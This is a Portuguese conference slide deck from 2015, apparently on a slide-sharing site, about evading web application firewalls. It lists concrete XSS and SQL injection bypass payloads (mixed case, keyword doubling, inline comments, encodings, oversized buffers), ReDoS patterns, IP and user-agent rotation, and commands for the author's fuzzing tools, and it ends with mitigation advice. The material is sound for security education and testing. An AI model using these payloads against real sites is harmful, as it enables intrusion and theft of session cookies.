Burlando Waf 2.0
-
Upload
cooler-freenode -
Category
Technology
-
view
141 -
download
38
Transcript of Burlando Waf 2.0
1/41®
Burlando um WAF
22 de junho de 2015
®
2/41®
Quem sou ?● Antonio Costa “Cooler_”
● Desenvolvedor em ASM, C, C++, Lisp, Perl, PHP etc...
● Pentest, codereview, engenharia reversa e pesquisas para problemas diversos etc...
● @Cooler_freenode● https://github.com/CoolerVoid
3/41®
Agenda
● Entendendo o problema● Burlando um WAF● Automatizando o ataque● Sugestões para mitigação
4/41®
Entendendo o Problema
● WAF (web application firewall)● Filtro com conjunto de regras ● Protege de ataques comuns ● Registra informações de ataques● Bloqueia ataques
5/41®
Entendendo o Problema
● Filtra tanto Request como Response
6/41®
Entendendo o Problema
● Request exemplo:GET /sell/cars.php?search=<script>alert(document.cookie)</script >
7/41®
Entendendo o Problema
● Match exato● BlackList...● “alert(”,● ”union”● “select”● “script”● “eval”...
8/41®
Entendendo o Problema
● Block por IP● DoS● E se spoofar ?
Spoofing ?
9/41®
Entendendo o Problema● Regras não são suficientes... ● Expressão regular “regex” não faz matching
10/41®
Entendendo o Problema● ReDOS (Regular expression denial of service)
● Agrupamento ● Repetição e Alternância com sobreposição
● ([A-Za-z]+)*([0-9]+)*● ([0-9a-z]|\d+)*
11/41®
Burlando um WAF
12/41®
Burlando um WAF
● Como Detectar o WAF ? ● Descobrimento de um WAF pode se dar por alguns fatores são eles
“header” da Response, por cookies e outros meios.
● Pode-se fazer manualmente, entretanto é interessante automatizar com ferramentas:
● https://svn.nmap.org/nmap/scripts/http-waf-detect.nse
● https://github.com/sandrogauci/wafw00f
● http://code.google.com/p/imperva-detect/
● …
13/41®
Burlando um WAF
Mixed Case ● Em alguns casos o “patern matching” para um elemento de uma
blacklist seria “case sentive”, ou seja qualquer caractere que esteja fora do padrão não irá passar por “matching”.
● “select” é diferente de “SeLecT”,”sEleCt”,”seLecT”...
● “script” é diferente de “sCriPT”,”ScRipT”...
● Entretanto o paylaod pode ser interpretado seja ataque de XSS ou SQL injection, isso pois o ambiente que interpreta não é “case sentive”.
● Exemplo:
● /sell/cars.php?search=<script>alert(document.cookie)</script
● /sell/cars.php?search=<SCripT>AlErt(DoCuMenT.cOoKie)</scrIpt>
14/41®
Burlando um WAF
Replace Keywords ● Alguns casos que não ocorre um block, fazem troca de uma string por outra,
exemplo se encontra palavra “union select” substitui por “” ou seja acaba trocando por nada( apaga a ocorrência de uma palavra), logo á Request continua não é bloqueada.
● Como atacante pode se aproveitar disso ?
● Exemplos:
● /cars_show.php?car_id=-30 UNIunionON SELselectECT 6,7,8,9
● Assim que o WAF fazer replace(troca) então temos:
● /cars_show.php?car_id=-30 UNION SELECT 6,7,8,9
15/41®
Burlando um WAF
Spaces to comment ● Trocar espaços em branco por comentários “/**/”, ou mesmo
adicionar comentários em pontos aleatórios, ajuda a fugir do “match”.
● Exemplos:
● /sell/cars.php?search=id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()– -
● /sell/cars.php?search=id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
16/41®
Burlando um WAFBuffer Overflow
● Crashar aplicação forçando buffer overflow deixa o caminho livre para nossos payloads.
● Exemplos:
● /cars/id/page/=-25+and+(select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...])+/*!UnIOn*/+/*!selECt*/+4,5,6,7…
● id=2 and (select 2)=(Select 0xAAAAAAAAAAAAAAAAAAAAA...)+uNIoN+seLecT+2,3,version()...
● Por que isso ocorre ?
● Nem todo WAF segue uma prática correta para limitar o buffer de entrada, logo um payload com tamanho extremo pode causar buffer overflow. funções como strcpy(),strcat() sem devido buffer limitado e definido podem causar estes problemas, por isso o recomendado é usar funções como strncat() ou mesmo strncpy().
17/41®
Burlando um WAF● Outras formas... ● Objetivo é o mesmo burlar
18/41®
Burlando um WAFEncodes
● Codificando os payloads podemos enganar o “match”, os mais usados são encode64, url encode, double url encode...
● Exemplo:
<script>alert(document.cookie)</script
● Url encode:
%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript
● 64 encode
PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ=
19/41®
Burlando um WAF● HPP(HTTP Parameter Pollution) ● Uma técnica que visa enviar muitos parâmetros para assim
burlar filtros de ambientes.
20/41®
Burlando um WAF
● Mude o IP use Proxy ● Mude o User Agent
21/41®
Burlando um WAF
● Ataques ao mesmo tempo? BLOCK !
● Delay de tempo em cada Request ● Periodicidade no tempo
● Diversidade
-Mudar IP
-Mudar Payload
-Mudar UserAgent
22/41®
Burlando um WAF
● Outras formas... ● obfuscar ● encodar apenas um
caracter etc...
23/41®
Automatizando o ataque● Por que automatizar ?
24/41®
Automatizando o ataque● Payloadmask
https://github.com/CoolerVoid/payloadmask
25/41®
26/41®
● Futuro da ferramenta
github.com/CoolerVoid/payloadmask/issues
27/41®
Automatizando o ataque● 0d1n
https://github.com/CoolerVoid/0d1n
28/41®
Automatizando o ataque● 0d1n
https://github.com/CoolerVoid/0d1n
29/41®
Automatizando o ataque
30/41®
Automatizando o ataque
31/41®
Automatizando o ataque
32/41®
Automatizando o ataque● Exemplo:
./0d1n –host http://localhost/test.php –post ”car_name=ˆ ” –payloads payloads/xss.txt
–find_regex_list payloads/guess.txt –log name_log –save_response –tamper urlencode -proxy-rand paylaods/proxy.txt
33/41®
Automatizando o ataque
34/41®
Automatizando o ataque
35/41®
Automatizando o ataque● Exemplo:
./0d1n –host http://localhost/test.php –post ”car_name=ˆ ” –payloads payloads/xss.txt
–find_regex_list payloads/guess.txt –log name_log –save_response
36/41®
Automatizando o ataque● Futuro da ferramenta...
github.com/CoolerVoid/0d1n/issues
37/41®
Automatizando o ataque●
38/41®
Sugestões para mitigação
● Não usar Regex que tenha redundância ● Usar Whitelist e não Blacklist.
● Prevenção sempre, contratar serviços para auditoria na aplicação
● Não esperar que o WAF faça tudo...
● Sanitizar informações e validar
● Mantenha o ambiente Hardenizado.
39/41®
Agradecimentos !
● IAK, Sigsegv, M0nad, Slyfunky, Clandestine, Robertux, F117, Loganbr, MMxM, eremita, Mente Binaria, Otacon, Ephexis, pl4nkt0n, necrist, dr_gordon, sheilong etc... galera do IRC etc..
● Aos Mestres da CONVISO
● Ulisses Castro por ter dado sugestão do “Tamper”
40/41®
Perguntas ???
41/41®